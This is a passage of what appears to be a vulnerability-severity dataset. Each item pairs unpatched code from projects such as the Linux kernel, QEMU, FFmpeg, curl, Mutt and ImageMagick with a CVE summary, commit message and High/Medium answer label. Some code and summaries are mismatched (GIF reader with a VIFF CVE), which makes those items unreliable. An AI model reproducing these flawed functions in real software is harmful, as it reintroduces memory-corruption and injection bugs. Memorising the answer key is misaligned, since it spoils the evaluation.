acl_e = &acl->a_entries[i];
ace = &aclp->acl_entry[i];
/*
* The tag is 32 bits on disk and 16 bits in core.
*
* Because every access to it goes through the core
* format first this is not a problem.
*/
acl_e->e_tag = be32_to_cpu(ace->ae_tag);
acl_e->e_perm = be16_to_cpu(ace->ae_perm);
switch (acl_e->e_tag) {
case ACL_USER:
case ACL_GROUP:
acl_e->e_id = be32_to_cpu(ace->ae_id);
break;
case ACL_USER_OBJ:
case ACL_GROUP_OBJ:
case ACL_MASK:
case ACL_OTHER:
acl_e->e_id = ACL_UNDEFINED_ID;
break;
default:
goto fail;
}
}
return acl;
fail:
posix_acl_release(acl);
return ERR_PTR(-EINVAL);
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-189
Summary: Integer overflow in the xfs_acl_from_disk function in fs/xfs/xfs_acl.c in the Linux kernel before 3.1.9 allows local users to cause a denial of service (panic) via a filesystem with a malformed ACL, leading to a heap-based buffer overflow.
Commit Message: xfs: fix acl count validation in xfs_acl_from_disk()
Commit fa8b18ed didn't prevent the integer overflow and possible
memory corruption. "count" can go negative and bypass the check.
Signed-off-by: Xi Wang <[email protected]>
Reviewed-by: Christoph Hellwig <[email protected]>
Signed-off-by: Ben Myers <[email protected]> | Medium | 169,888 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int virtio_net_load(QEMUFile *f, void *opaque, int version_id)
{
VirtIONet *n = opaque;
VirtIODevice *vdev = VIRTIO_DEVICE(n);
int ret, i, link_down;
if (version_id < 2 || version_id > VIRTIO_NET_VM_VERSION)
return -EINVAL;
ret = virtio_load(vdev, f);
if (ret) {
return ret;
}
qemu_get_buffer(f, n->mac, ETH_ALEN);
n->vqs[0].tx_waiting = qemu_get_be32(f);
virtio_net_set_mrg_rx_bufs(n, qemu_get_be32(f));
if (version_id >= 3)
n->status = qemu_get_be16(f);
if (version_id >= 4) {
if (version_id < 8) {
n->promisc = qemu_get_be32(f);
n->allmulti = qemu_get_be32(f);
} else {
n->promisc = qemu_get_byte(f);
n->allmulti = qemu_get_byte(f);
}
}
if (version_id >= 5) {
n->mac_table.in_use = qemu_get_be32(f);
/* MAC_TABLE_ENTRIES may be different from the saved image */
if (n->mac_table.in_use <= MAC_TABLE_ENTRIES) {
qemu_get_buffer(f, n->mac_table.macs,
n->mac_table.in_use * ETH_ALEN);
} else if (n->mac_table.in_use) {
uint8_t *buf = g_malloc0(n->mac_table.in_use);
qemu_get_buffer(f, buf, n->mac_table.in_use * ETH_ALEN);
g_free(buf);
n->mac_table.multi_overflow = n->mac_table.uni_overflow = 1;
n->mac_table.in_use = 0;
}
}
if (version_id >= 6)
qemu_get_buffer(f, (uint8_t *)n->vlans, MAX_VLAN >> 3);
if (version_id >= 7) {
if (qemu_get_be32(f) && !peer_has_vnet_hdr(n)) {
error_report("virtio-net: saved image requires vnet_hdr=on");
return -1;
}
}
if (version_id >= 9) {
n->mac_table.multi_overflow = qemu_get_byte(f);
n->mac_table.uni_overflow = qemu_get_byte(f);
}
if (version_id >= 10) {
n->alluni = qemu_get_byte(f);
n->nomulti = qemu_get_byte(f);
n->nouni = qemu_get_byte(f);
n->nobcast = qemu_get_byte(f);
}
if (version_id >= 11) {
if (qemu_get_byte(f) && !peer_has_ufo(n)) {
error_report("virtio-net: saved image requires TUN_F_UFO support");
return -1;
}
}
if (n->max_queues > 1) {
if (n->max_queues != qemu_get_be16(f)) {
error_report("virtio-net: different max_queues ");
return -1;
}
n->curr_queues = qemu_get_be16(f);
for (i = 1; i < n->curr_queues; i++) {
n->vqs[i].tx_waiting = qemu_get_be32(f);
}
n->curr_guest_offloads = virtio_net_supported_guest_offloads(n);
}
if (peer_has_vnet_hdr(n)) {
virtio_net_apply_guest_offloads(n);
}
virtio_net_set_queues(n);
/* Find the first multicast entry in the saved MAC filter */
for (i = 0; i < n->mac_table.in_use; i++) {
if (n->mac_table.macs[i * ETH_ALEN] & 1) {
break;
}
}
n->mac_table.first_multi = i;
/* nc.link_down can't be migrated, so infer link_down according
* to link status bit in n->status */
link_down = (n->status & VIRTIO_NET_S_LINK_UP) == 0;
for (i = 0; i < n->max_queues; i++) {
qemu_get_subqueue(n->nic, i)->link_down = link_down;
}
return 0;
}
Vulnerability Type: DoS Exec Code Overflow
CWE ID: CWE-119
Summary: The virtio_net_load function in hw/net/virtio-net.c in QEMU 1.5.0 through 1.7.x before 1.7.2 allows remote attackers to cause a denial of service or possibly execute arbitrary code via vectors in which the value of curr_queues is greater than max_queues, which triggers an out-of-bounds write.
Commit Message: | High | 165,362 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int http_receive_data(HTTPContext *c)
{
HTTPContext *c1;
int len, loop_run = 0;
while (c->chunked_encoding && !c->chunk_size &&
c->buffer_end > c->buffer_ptr) {
/* read chunk header, if present */
len = recv(c->fd, c->buffer_ptr, 1, 0);
if (len < 0) {
if (ff_neterrno() != AVERROR(EAGAIN) &&
ff_neterrno() != AVERROR(EINTR))
/* error : close connection */
goto fail;
return 0;
} else if (len == 0) {
/* end of connection : close it */
goto fail;
} else if (c->buffer_ptr - c->buffer >= 2 &&
!memcmp(c->buffer_ptr - 1, "\r\n", 2)) {
c->chunk_size = strtol(c->buffer, 0, 16);
if (c->chunk_size == 0) // end of stream
goto fail;
c->buffer_ptr = c->buffer;
break;
} else if (++loop_run > 10)
/* no chunk header, abort */
goto fail;
else
c->buffer_ptr++;
}
if (c->buffer_end > c->buffer_ptr) {
len = recv(c->fd, c->buffer_ptr,
FFMIN(c->chunk_size, c->buffer_end - c->buffer_ptr), 0);
if (len < 0) {
if (ff_neterrno() != AVERROR(EAGAIN) &&
ff_neterrno() != AVERROR(EINTR))
/* error : close connection */
goto fail;
} else if (len == 0)
/* end of connection : close it */
goto fail;
else {
c->chunk_size -= len;
c->buffer_ptr += len;
c->data_count += len;
update_datarate(&c->datarate, c->data_count);
}
}
if (c->buffer_ptr - c->buffer >= 2 && c->data_count > FFM_PACKET_SIZE) {
if (c->buffer[0] != 'f' ||
c->buffer[1] != 'm') {
http_log("Feed stream has become desynchronized -- disconnecting\n");
goto fail;
}
}
if (c->buffer_ptr >= c->buffer_end) {
FFServerStream *feed = c->stream;
/* a packet has been received : write it in the store, except
* if header */
if (c->data_count > FFM_PACKET_SIZE) {
/* XXX: use llseek or url_seek
* XXX: Should probably fail? */
if (lseek(c->feed_fd, feed->feed_write_index, SEEK_SET) == -1)
http_log("Seek to %"PRId64" failed\n", feed->feed_write_index);
if (write(c->feed_fd, c->buffer, FFM_PACKET_SIZE) < 0) {
http_log("Error writing to feed file: %s\n", strerror(errno));
goto fail;
}
feed->feed_write_index += FFM_PACKET_SIZE;
/* update file size */
if (feed->feed_write_index > c->stream->feed_size)
feed->feed_size = feed->feed_write_index;
/* handle wrap around if max file size reached */
if (c->stream->feed_max_size &&
feed->feed_write_index >= c->stream->feed_max_size)
feed->feed_write_index = FFM_PACKET_SIZE;
/* write index */
if (ffm_write_write_index(c->feed_fd, feed->feed_write_index) < 0) {
http_log("Error writing index to feed file: %s\n",
strerror(errno));
goto fail;
}
/* wake up any waiting connections */
for(c1 = first_http_ctx; c1; c1 = c1->next) {
if (c1->state == HTTPSTATE_WAIT_FEED &&
c1->stream->feed == c->stream->feed)
c1->state = HTTPSTATE_SEND_DATA;
}
} else {
/* We have a header in our hands that contains useful data */
AVFormatContext *s = avformat_alloc_context();
AVIOContext *pb;
AVInputFormat *fmt_in;
int i;
if (!s)
goto fail;
/* use feed output format name to find corresponding input format */
fmt_in = av_find_input_format(feed->fmt->name);
if (!fmt_in)
goto fail;
pb = avio_alloc_context(c->buffer, c->buffer_end - c->buffer,
0, NULL, NULL, NULL, NULL);
if (!pb)
goto fail;
pb->seekable = 0;
s->pb = pb;
if (avformat_open_input(&s, c->stream->feed_filename, fmt_in, NULL) < 0) {
av_freep(&pb);
goto fail;
}
/* Now we have the actual streams */
if (s->nb_streams != feed->nb_streams) {
avformat_close_input(&s);
av_freep(&pb);
http_log("Feed '%s' stream number does not match registered feed\n",
c->stream->feed_filename);
goto fail;
}
for (i = 0; i < s->nb_streams; i++) {
LayeredAVStream *fst = feed->streams[i];
AVStream *st = s->streams[i];
avcodec_parameters_to_context(fst->codec, st->codecpar);
avcodec_parameters_from_context(fst->codecpar, fst->codec);
}
avformat_close_input(&s);
av_freep(&pb);
}
c->buffer_ptr = c->buffer;
}
return 0;
fail:
c->stream->feed_opened = 0;
close(c->feed_fd);
/* wake up any waiting connections to stop waiting for feed */
for(c1 = first_http_ctx; c1; c1 = c1->next) {
if (c1->state == HTTPSTATE_WAIT_FEED &&
c1->stream->feed == c->stream->feed)
c1->state = HTTPSTATE_SEND_DATA_TRAILER;
}
return -1;
}
Vulnerability Type: Exec Code Overflow
CWE ID: CWE-119
Summary: Heap-based buffer overflow in ffserver.c in FFmpeg before 2.8.10, 3.0.x before 3.0.5, 3.1.x before 3.1.6, and 3.2.x before 3.2.2 allows remote attackers to execute arbitrary code by leveraging failure to check chunk size.
Commit Message: ffserver: Check chunk size
Fixes out of array access
Fixes: poc_ffserver.py
Found-by: Paul Cher <[email protected]>
Signed-off-by: Michael Niedermayer <[email protected]> | High | 168,494 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static bool tailmatch(const char *little, const char *bigone)
{
size_t littlelen = strlen(little);
size_t biglen = strlen(bigone);
if(littlelen > biglen)
return FALSE;
return Curl_raw_equal(little, bigone+biglen-littlelen) ? TRUE : FALSE;
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: The tailMatch function in cookie.c in cURL and libcurl before 7.30.0 does not properly match the path domain when sending cookies, which allows remote attackers to steal cookies via a matching suffix in the domain of a URL.
Commit Message: cookie: fix tailmatching to prevent cross-domain leakage
Cookies set for 'example.com' could accidentaly also be sent by libcurl
to the 'bexample.com' (ie with a prefix to the first domain name).
This is a security vulnerabilty, CVE-2013-1944.
Bug: http://curl.haxx.se/docs/adv_20130412.html | Medium | 166,098 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void cmd_parse_lsub(struct ImapData *idata, char *s)
{
char buf[STRING];
char errstr[STRING];
struct Buffer err, token;
struct Url url;
struct ImapList list;
if (idata->cmddata && idata->cmdtype == IMAP_CT_LIST)
{
/* caller will handle response itself */
cmd_parse_list(idata, s);
return;
}
if (!ImapCheckSubscribed)
return;
idata->cmdtype = IMAP_CT_LIST;
idata->cmddata = &list;
cmd_parse_list(idata, s);
idata->cmddata = NULL;
/* noselect is for a gmail quirk (#3445) */
if (!list.name || list.noselect)
return;
mutt_debug(3, "Subscribing to %s\n", list.name);
mutt_str_strfcpy(buf, "mailboxes \"", sizeof(buf));
mutt_account_tourl(&idata->conn->account, &url);
/* escape \ and " */
imap_quote_string(errstr, sizeof(errstr), list.name);
url.path = errstr + 1;
url.path[strlen(url.path) - 1] = '\0';
if (mutt_str_strcmp(url.user, ImapUser) == 0)
url.user = NULL;
url_tostring(&url, buf + 11, sizeof(buf) - 11, 0);
mutt_str_strcat(buf, sizeof(buf), "\"");
mutt_buffer_init(&token);
mutt_buffer_init(&err);
err.data = errstr;
err.dsize = sizeof(errstr);
if (mutt_parse_rc_line(buf, &token, &err))
mutt_debug(1, "Error adding subscribed mailbox: %s\n", errstr);
FREE(&token.data);
}
Vulnerability Type: Exec Code
CWE ID: CWE-77
Summary: An issue was discovered in Mutt before 1.10.1 and NeoMutt before 2018-07-16. They allow remote IMAP servers to execute arbitrary commands via backquote characters, related to the mailboxes command associated with an automatic subscription.
Commit Message: quote imap strings more carefully
Co-authored-by: JerikoOne <[email protected]> | High | 169,134 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void kgdb_hw_overflow_handler(struct perf_event *event, int nmi,
struct perf_sample_data *data, struct pt_regs *regs)
{
struct task_struct *tsk = current;
int i;
for (i = 0; i < 4; i++)
if (breakinfo[i].enabled)
tsk->thread.debugreg6 |= (DR_TRAP0 << i);
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-399
Summary: The Performance Events subsystem in the Linux kernel before 3.1 does not properly handle event overflows associated with PERF_COUNT_SW_CPU_CLOCK events, which allows local users to cause a denial of service (system hang) via a crafted application.
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <[email protected]>
Cc: Michael Cree <[email protected]>
Cc: Will Deacon <[email protected]>
Cc: Deng-Cheng Zhu <[email protected]>
Cc: Anton Blanchard <[email protected]>
Cc: Eric B Munson <[email protected]>
Cc: Heiko Carstens <[email protected]>
Cc: Paul Mundt <[email protected]>
Cc: David S. Miller <[email protected]>
Cc: Frederic Weisbecker <[email protected]>
Cc: Jason Wessel <[email protected]>
Cc: Don Zickus <[email protected]>
Link: http://lkml.kernel.org/n/[email protected]
Signed-off-by: Ingo Molnar <[email protected]> | Medium | 165,823 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int main(int argc, char *argv[])
{
FILE *iplist = NULL;
plist_t root_node = NULL;
char *plist_out = NULL;
uint32_t size = 0;
int read_size = 0;
char *plist_entire = NULL;
struct stat filestats;
options_t *options = parse_arguments(argc, argv);
if (!options)
{
print_usage(argc, argv);
return 0;
}
iplist = fopen(options->in_file, "rb");
if (!iplist) {
free(options);
return 1;
}
stat(options->in_file, &filestats);
plist_entire = (char *) malloc(sizeof(char) * (filestats.st_size + 1));
read_size = fread(plist_entire, sizeof(char), filestats.st_size, iplist);
fclose(iplist);
if (memcmp(plist_entire, "bplist00", 8) == 0)
{
plist_from_bin(plist_entire, read_size, &root_node);
plist_to_xml(root_node, &plist_out, &size);
}
else
{
plist_from_xml(plist_entire, read_size, &root_node);
plist_to_bin(root_node, &plist_out, &size);
}
plist_free(root_node);
free(plist_entire);
if (plist_out)
{
if (options->out_file != NULL)
{
FILE *oplist = fopen(options->out_file, "wb");
if (!oplist) {
free(options);
return 1;
}
fwrite(plist_out, size, sizeof(char), oplist);
fclose(oplist);
}
else
fwrite(plist_out, size, sizeof(char), stdout);
free(plist_out);
}
else
printf("ERROR: Failed to convert input file.\n");
free(options);
return 0;
}
Vulnerability Type: DoS +Info
CWE ID: CWE-125
Summary: The main function in plistutil.c in libimobiledevice libplist through 1.12 allows attackers to obtain sensitive information from process memory or cause a denial of service (buffer over-read) via Apple Property List data that is too short.
Commit Message: plistutil: Prevent OOB heap buffer read by checking input size
As pointed out in #87 plistutil would do a memcmp with a heap buffer
without checking the size. If the size is less than 8 it would read
beyond the bounds of this heap buffer. This commit prevents that. | Medium | 168,398 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static Image *ReadGIFImage(const ImageInfo *image_info,ExceptionInfo *exception)
{
#define BitSet(byte,bit) (((byte) & (bit)) == (bit))
#define LSBFirstOrder(x,y) (((y) << 8) | (x))
Image
*image,
*meta_image;
int
number_extensionss=0;
MagickBooleanType
status;
RectangleInfo
page;
register ssize_t
i;
register unsigned char
*p;
size_t
delay,
dispose,
duration,
global_colors,
image_count,
iterations,
one;
ssize_t
count,
opacity;
unsigned char
background,
c,
flag,
*global_colormap,
header[MaxTextExtent],
magick[12];
/*
Open image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickSignature);
if (image_info->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickSignature);
image=AcquireImage(image_info);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
/*
Determine if this a GIF file.
*/
count=ReadBlob(image,6,magick);
if ((count != 6) || ((LocaleNCompare((char *) magick,"GIF87",5) != 0) &&
(LocaleNCompare((char *) magick,"GIF89",5) != 0)))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
page.width=ReadBlobLSBShort(image);
page.height=ReadBlobLSBShort(image);
flag=(unsigned char) ReadBlobByte(image);
background=(unsigned char) ReadBlobByte(image);
c=(unsigned char) ReadBlobByte(image); /* reserved */
one=1;
global_colors=one << (((size_t) flag & 0x07)+1);
global_colormap=(unsigned char *) AcquireQuantumMemory((size_t)
MagickMax(global_colors,256),3UL*sizeof(*global_colormap));
if (global_colormap == (unsigned char *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
if (BitSet((int) flag,0x80) != 0)
count=ReadBlob(image,(size_t) (3*global_colors),global_colormap);
delay=0;
dispose=0;
duration=0;
iterations=1;
opacity=(-1);
image_count=0;
meta_image=AcquireImage(image_info); /* metadata container */
for ( ; ; )
{
count=ReadBlob(image,1,&c);
if (count != 1)
break;
if (c == (unsigned char) ';')
break; /* terminator */
if (c == (unsigned char) '!')
{
/*
GIF Extension block.
*/
count=ReadBlob(image,1,&c);
if (count != 1)
{
global_colormap=(unsigned char *) RelinquishMagickMemory(
global_colormap);
ThrowReaderException(CorruptImageError,"UnableToReadExtensionBlock");
}
switch (c)
{
case 0xf9:
{
/*
Read graphics control extension.
*/
while (ReadBlobBlock(image,header) != 0) ;
dispose=(size_t) (header[0] >> 2);
delay=(size_t) ((header[2] << 8) | header[1]);
if ((ssize_t) (header[0] & 0x01) == 0x01)
opacity=(ssize_t) header[3];
break;
}
case 0xfe:
{
char
*comments;
size_t
length;
/*
Read comment extension.
*/
comments=AcquireString((char *) NULL);
for (length=0; ; length+=count)
{
count=(ssize_t) ReadBlobBlock(image,header);
if (count == 0)
break;
header[count]='\0';
(void) ConcatenateString(&comments,(const char *) header);
}
(void) SetImageProperty(meta_image,"comment",comments);
comments=DestroyString(comments);
break;
}
case 0xff:
{
MagickBooleanType
loop;
/*
Read Netscape Loop extension.
*/
loop=MagickFalse;
if (ReadBlobBlock(image,header) != 0)
loop=LocaleNCompare((char *) header,"NETSCAPE2.0",11) == 0 ?
MagickTrue : MagickFalse;
if (loop != MagickFalse)
{
while (ReadBlobBlock(image,header) != 0)
iterations=(size_t) ((header[2] << 8) | header[1]);
break;
}
else
{
char
name[MaxTextExtent];
int
block_length,
info_length,
reserved_length;
MagickBooleanType
i8bim,
icc,
iptc,
magick;
StringInfo
*profile;
unsigned char
*info;
/*
Store GIF application extension as a generic profile.
*/
icc=LocaleNCompare((char *) header,"ICCRGBG1012",11) == 0 ?
MagickTrue : MagickFalse;
magick=LocaleNCompare((char *) header,"ImageMagick",11) == 0 ?
MagickTrue : MagickFalse;
i8bim=LocaleNCompare((char *) header,"MGK8BIM0000",11) == 0 ?
MagickTrue : MagickFalse;
iptc=LocaleNCompare((char *) header,"MGKIPTC0000",11) == 0 ?
MagickTrue : MagickFalse;
number_extensionss++;
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Reading GIF application extension");
info=(unsigned char *) AcquireQuantumMemory(255UL,sizeof(*info));
reserved_length=255;
for (info_length=0; ; )
{
block_length=(int) ReadBlobBlock(image,&info[info_length]);
if (block_length == 0)
break;
info_length+=block_length;
if (info_length > (reserved_length-255))
{
reserved_length+=4096;
info=(unsigned char *) ResizeQuantumMemory(info,(size_t)
reserved_length,sizeof(*info));
if (info == (unsigned char *) NULL)
ThrowReaderException(ResourceLimitError,
"MemoryAllocationFailed");
}
}
profile=BlobToStringInfo(info,(size_t) info_length);
if (profile == (StringInfo *) NULL)
ThrowReaderException(ResourceLimitError,
"MemoryAllocationFailed");
if (i8bim != MagickFalse)
(void) CopyMagickString(name,"8bim",sizeof(name));
else if (icc != MagickFalse)
(void) CopyMagickString(name,"icc",sizeof(name));
else if (iptc != MagickFalse)
(void) CopyMagickString(name,"iptc",sizeof(name));
else if (magick != MagickFalse)
{
(void) CopyMagickString(name,"magick",sizeof(name));
image->gamma=StringToDouble((char *) info+6,(char **) NULL);
}
else
(void) FormatLocaleString(name,sizeof(name),"gif:%.11s",
header);
info=(unsigned char *) RelinquishMagickMemory(info);
if (magick == MagickFalse)
(void) SetImageProfile(meta_image,name,profile);
profile=DestroyStringInfo(profile);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" profile name=%s",name);
}
break;
}
default:
{
while (ReadBlobBlock(image,header) != 0) ;
break;
}
}
}
if (c != (unsigned char) ',')
continue;
if (image_count != 0)
{
/*
Allocate next image structure.
*/
AcquireNextImage(image_info,image);
if (GetNextImageInList(image) == (Image *) NULL)
{
image=DestroyImageList(image);
global_colormap=(unsigned char *) RelinquishMagickMemory(
global_colormap);
return((Image *) NULL);
}
image=SyncNextImageInList(image);
}
image_count++;
/*
Read image attributes.
*/
meta_image->scene=image->scene;
CloneImageProperties(image,meta_image);
DestroyImageProperties(meta_image);
CloneImageProfiles(image,meta_image);
DestroyImageProfiles(meta_image);
image->storage_class=PseudoClass;
image->compression=LZWCompression;
page.x=(ssize_t) ReadBlobLSBShort(image);
page.y=(ssize_t) ReadBlobLSBShort(image);
image->columns=ReadBlobLSBShort(image);
image->rows=ReadBlobLSBShort(image);
image->depth=8;
flag=(unsigned char) ReadBlobByte(image);
image->interlace=BitSet((int) flag,0x40) != 0 ? GIFInterlace : NoInterlace;
image->colors=BitSet((int) flag,0x80) == 0 ? global_colors :
one << ((size_t) (flag & 0x07)+1);
if (opacity >= (ssize_t) image->colors)
opacity=(-1);
image->page.width=page.width;
image->page.height=page.height;
image->page.y=page.y;
image->page.x=page.x;
image->delay=delay;
image->iterations=iterations;
image->ticks_per_second=100;
image->dispose=(DisposeType) dispose;
image->matte=opacity >= 0 ? MagickTrue : MagickFalse;
delay=0;
dispose=0;
if ((image->columns == 0) || (image->rows == 0))
{
global_colormap=(unsigned char *) RelinquishMagickMemory(
global_colormap);
ThrowReaderException(CorruptImageError,"NegativeOrZeroImageSize");
}
/*
Inititialize colormap.
*/
if (AcquireImageColormap(image,image->colors) == MagickFalse)
{
global_colormap=(unsigned char *) RelinquishMagickMemory(global_colormap);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
if (BitSet((int) flag,0x80) == 0)
{
/*
Use global colormap.
*/
p=global_colormap;
for (i=0; i < (ssize_t) image->colors; i++)
{
image->colormap[i].red=ScaleCharToQuantum(*p++);
image->colormap[i].green=ScaleCharToQuantum(*p++);
image->colormap[i].blue=ScaleCharToQuantum(*p++);
if (i == opacity)
{
image->colormap[i].opacity=(Quantum) TransparentOpacity;
image->transparent_color=image->colormap[opacity];
}
}
image->background_color=image->colormap[MagickMin(background,
image->colors-1)];
}
else
{
unsigned char
*colormap;
/*
Read local colormap.
*/
colormap=(unsigned char *) AcquireQuantumMemory(image->colors,3*
sizeof(*colormap));
if (colormap == (unsigned char *) NULL)
{
global_colormap=(unsigned char *) RelinquishMagickMemory(
global_colormap);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
count=ReadBlob(image,(3*image->colors)*sizeof(*colormap),colormap);
if (count != (ssize_t) (3*image->colors))
{
global_colormap=(unsigned char *) RelinquishMagickMemory(
global_colormap);
colormap=(unsigned char *) RelinquishMagickMemory(colormap);
ThrowReaderException(CorruptImageError,
"InsufficientImageDataInFile");
}
p=colormap;
for (i=0; i < (ssize_t) image->colors; i++)
{
image->colormap[i].red=ScaleCharToQuantum(*p++);
image->colormap[i].green=ScaleCharToQuantum(*p++);
image->colormap[i].blue=ScaleCharToQuantum(*p++);
if (i == opacity)
image->colormap[i].opacity=(Quantum) TransparentOpacity;
}
colormap=(unsigned char *) RelinquishMagickMemory(colormap);
}
if (image->gamma == 1.0)
{
for (i=0; i < (ssize_t) image->colors; i++)
if (IsGrayPixel(image->colormap+i) == MagickFalse)
break;
(void) SetImageColorspace(image,i == (ssize_t) image->colors ?
GRAYColorspace : RGBColorspace);
}
if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))
if (image->scene >= (image_info->scene+image_info->number_scenes-1))
break;
/*
Decode image.
*/
if (image_info->ping != MagickFalse)
status=PingGIFImage(image);
else
status=DecodeImage(image,opacity);
if ((image_info->ping == MagickFalse) && (status == MagickFalse))
{
global_colormap=(unsigned char *) RelinquishMagickMemory(
global_colormap);
ThrowReaderException(CorruptImageError,"CorruptImage");
}
duration+=image->delay*image->iterations;
if (image_info->number_scenes != 0)
if (image->scene >= (image_info->scene+image_info->number_scenes-1))
break;
opacity=(-1);
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) image->scene-1,
image->scene);
if (status == MagickFalse)
break;
}
image->duration=duration;
meta_image=DestroyImage(meta_image);
global_colormap=(unsigned char *) RelinquishMagickMemory(global_colormap);
if ((image->columns == 0) || (image->rows == 0))
ThrowReaderException(CorruptImageError,"NegativeOrZeroImageSize");
(void) CloseBlob(image);
return(GetFirstImageInList(image));
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: Buffer overflow in the ReadVIFFImage function in coders/viff.c in ImageMagick before 6.9.4-5 allows remote attackers to cause a denial of service (application crash) via a crafted file.
Commit Message: | Medium | 168,567 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: PageHandler::PageHandler(EmulationHandler* emulation_handler)
: DevToolsDomainHandler(Page::Metainfo::domainName),
enabled_(false),
screencast_enabled_(false),
screencast_quality_(kDefaultScreenshotQuality),
screencast_max_width_(-1),
screencast_max_height_(-1),
capture_every_nth_frame_(1),
capture_retry_count_(0),
has_compositor_frame_metadata_(false),
session_id_(0),
frame_counter_(0),
frames_in_flight_(0),
video_consumer_(nullptr),
last_surface_size_(gfx::Size()),
host_(nullptr),
emulation_handler_(emulation_handler),
observer_(this),
weak_factory_(this) {
bool create_video_consumer = true;
#ifdef OS_ANDROID
if (!CompositorImpl::IsInitialized())
create_video_consumer = false;
#endif
if (create_video_consumer) {
video_consumer_ = std::make_unique<DevToolsVideoConsumer>(
base::BindRepeating(&PageHandler::OnFrameFromVideoConsumer,
weak_factory_.GetWeakPtr()));
}
DCHECK(emulation_handler_);
}
Vulnerability Type:
CWE ID: CWE-20
Summary: Inappropriate allowance of the setDownloadBehavior devtools protocol feature in Extensions in Google Chrome prior to 71.0.3578.80 allowed a remote attacker with control of an installed extension to access files on the local file system via a crafted Chrome Extension.
Commit Message: [DevTools] Do not allow Page.setDownloadBehavior for extensions
Bug: 866426
Change-Id: I71b672978e1a8ec779ede49da16b21198567d3a4
Reviewed-on: https://chromium-review.googlesource.com/c/1270007
Commit-Queue: Dmitry Gozman <[email protected]>
Reviewed-by: Devlin <[email protected]>
Cr-Commit-Position: refs/heads/master@{#598004} | Medium | 172,607 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void CrosLibrary::TestApi::SetSpeechSynthesisLibrary(
SpeechSynthesisLibrary* library, bool own) {
library_->speech_synthesis_lib_.SetImpl(library, own);
}
Vulnerability Type: Exec Code
CWE ID: CWE-189
Summary: The Program::getActiveUniformMaxLength function in libGLESv2/Program.cpp in libGLESv2.dll in the WebGLES library in Almost Native Graphics Layer Engine (ANGLE), as used in Mozilla Firefox 4.x before 4.0.1 on Windows and in the GPU process in Google Chrome before 10.0.648.205 on Windows, allows remote attackers to execute arbitrary code via unspecified vectors, related to an *off-by-three* error.
Commit Message: chromeos: Replace copy-and-pasted code with macros.
This replaces a bunch of duplicated-per-library cros
function definitions and comments.
BUG=none
TEST=built it
Review URL: http://codereview.chromium.org/6086007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@70070 0039d316-1c4b-4281-b951-d872f2087c98 | High | 170,645 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: juniper_ggsn_print(netdissect_options *ndo,
const struct pcap_pkthdr *h, register const u_char *p)
{
struct juniper_l2info_t l2info;
struct juniper_ggsn_header {
uint8_t svc_id;
uint8_t flags_len;
uint8_t proto;
uint8_t flags;
uint8_t vlan_id[2];
uint8_t res[2];
};
